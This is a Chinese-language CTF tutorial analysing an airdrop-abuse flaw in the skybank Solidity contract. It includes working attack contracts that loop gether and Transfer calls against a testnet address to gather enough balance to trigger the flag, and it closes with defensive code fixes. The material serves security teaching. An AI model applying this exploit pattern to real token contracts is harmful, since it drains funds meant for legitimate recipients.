零时科技丨CTF技能宝典之智能合约#薅羊毛漏洞
字数 1410 2025-08-22 12:22:54
智能合约安全教学:薅羊毛漏洞分析与利用
1. 漏洞概述
薅羊毛漏洞(Airdrop Vulnerability)是智能合约中常见的一种设计缺陷,攻击者通过批量调用空投函数或利用合约逻辑缺陷,可以获取超出预期的代币或资金。本教学以2020年NSSC CTF中的skybank题目为例,详细分析这类漏洞的原理、利用方式及防御措施。
2. 合约代码分析
2.1 合约结构
逆向后的合约代码(Solidity 0.4.24):
pragma solidity ^0.4.24;
contract skybank {
mapping(address => uint) public balances;
event sendflag(string base64email, string md5namectf);
bytes20 addr = bytes20(msg.sender);
function ObtainFlag(string base64email, string md5namectf) {
require(balances[msg.sender] >= 1000000000);
emit sendflag(base64email, md5namectf);
}
function gether() public {
require(balances[msg.sender] == 0);
balances[msg.sender] += 10000000;
}
function Transfer(address to, uint bur) public {
require(bur == balances[msg.sender]);
balances[to] += bur;
balances[msg.sender] -= bur;
}
}
2.2 关键函数分析
2.2.1 ObtainFlag函数
function ObtainFlag(string base64email, string md5namectf) {
require(balances[msg.sender] >= 1000000000);
emit sendflag(base64email, md5namectf);
}
- 功能:触发flag事件的条件函数
- 关键点:
- 需要调用者余额 ≥ 1,000,000,000 wei
- 触发
sendflag事件表示攻击成功
2.2.2 gether函数(空投函数)
function gether() public {
require(balances[msg.sender] == 0);
balances[msg.sender] += 10000000;
}
- 功能:空投函数,给符合条件的地址发放资金
- 漏洞点:
- 仅检查调用者当前余额是否为0
- 每次调用增加10,000,000 wei
- 无调用次数限制或冷却时间
2.2.3 Transfer函数
function Transfer(address to, uint bur) public {
require(bur == balances[msg.sender]);
balances[to] += bur;
balances[msg.sender] -= bur;
}
- 功能:转账函数
- 漏洞点:
- 转账后发送方余额归零
- 可与gether函数配合实现重复空投
3. 漏洞利用原理
3.1 核心漏洞
- 空投无限制:gether函数仅检查当前余额为0,不记录历史领取状态
- 转账后状态重置:Transfer函数使发送方余额归零,可重新满足gether条件
- 资金可汇聚:可将多次空投资金汇聚到单一地址
3.2 数学计算
- 每次空投:+10,000,000 wei
- 触发flag需要:1,000,000,000 wei
- 最少需要空投次数:⌈1,000,000,000 / 10,000,000⌉ = 100次
4. 攻击方案
4.1 方案一:单地址循环获取
步骤:
- 地址A调用gether()获取空投
- 地址A调用Transfer()将资金转至地址B
- 重复步骤1-2至少100次
- 地址B调用ObtainFlag()触发事件
优势:仅需2个地址
劣势:需要多次交易
4.2 方案二:多地址汇聚资金
步骤:
- 准备N个地址(N ≥ 100)
- 每个地址调用gether()获取空投
- 将所有地址资金转至目标地址
- 目标地址调用ObtainFlag()
优势:可单次交易完成
劣势:需要较多地址
5. 实战攻击演示
5.1 环境准备
- 测试网:Ropsten
- 工具:Remix + MetaMask
- 目标合约:0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273
5.2 攻击步骤
步骤1:向目标合约转账
pragma solidity ^0.4.24;
contract burn {
function kill() public payable {
selfdestruct(address(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273));
}
}
- 部署并调用kill(),附带0.02 ETH
步骤2:部署最终调用合约(地址D)
pragma solidity ^0.4.24;
interface skybankInterface {
function ObtainFlag(string base64email, string md5namectf);
}
contract attacker2 {
skybankInterface constant private target = skybankInterface(0xE6BEBc078Bf01C06D80b39E0bb654F70C7B0C273);
function exploit() {
target.ObtainFlag("zxc", "000");
}
}
步骤3:部署攻击合约(地址E)
pragma solidity ^0.4.24;
interface skybankInterface {
function gether() external;
function Transfer(address to, uint256 env) external;
}
contract attacker {
skybankInterface constant private target = skybankInterface(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273);
function exploit(uint256 len) public payable {
for(uint256 i=0; i<len; i++){
target.gether();
target.Transfer(0xB8EBd7aaD718F65e61c0fC8359Dc5f9B5b85b067, 10000000);
}
}
}
- 调用exploit(101)完成101次空投
步骤4:触发flag
- 通过地址D调用exploit()触发sendflag事件
6. 防御措施
6.1 代码层面
- 记录领取状态:
mapping(address => bool) public hasGathered;
function gether() public {
require(!hasGathered[msg.sender]);
hasGathered[msg.sender] = true;
balances[msg.sender] += 10000000;
}
- 添加冷却时间:
mapping(address => uint) public lastGatherTime;
function gether() public {
require(now > lastGatherTime[msg.sender] + 1 days);
lastGatherTime[msg.sender] = now;
balances[msg.sender] += 10000000;
}
- 限制最大领取量:
uint public totalDistributed;
function gether() public {
require(totalDistributed < 10000000000);
totalDistributed += 10000000;
balances[msg.sender] += 10000000;
}
6.2 设计层面
- 使用白名单机制
- 实现多签控制资金发放
- 添加事件日志监控异常领取行为
- 进行完善的测试和审计
7. 总结
薅羊毛漏洞展示了智能合约设计中状态管理的重要性。开发者应当:
- 谨慎设计状态变更逻辑
- 考虑所有可能的调用路径
- 实施适当的访问控制和限制机制
- 进行充分的边界条件测试
通过本案例的分析,我们可以更深入地理解智能合约安全的关键要素,并在实际开发中避免类似漏洞的出现。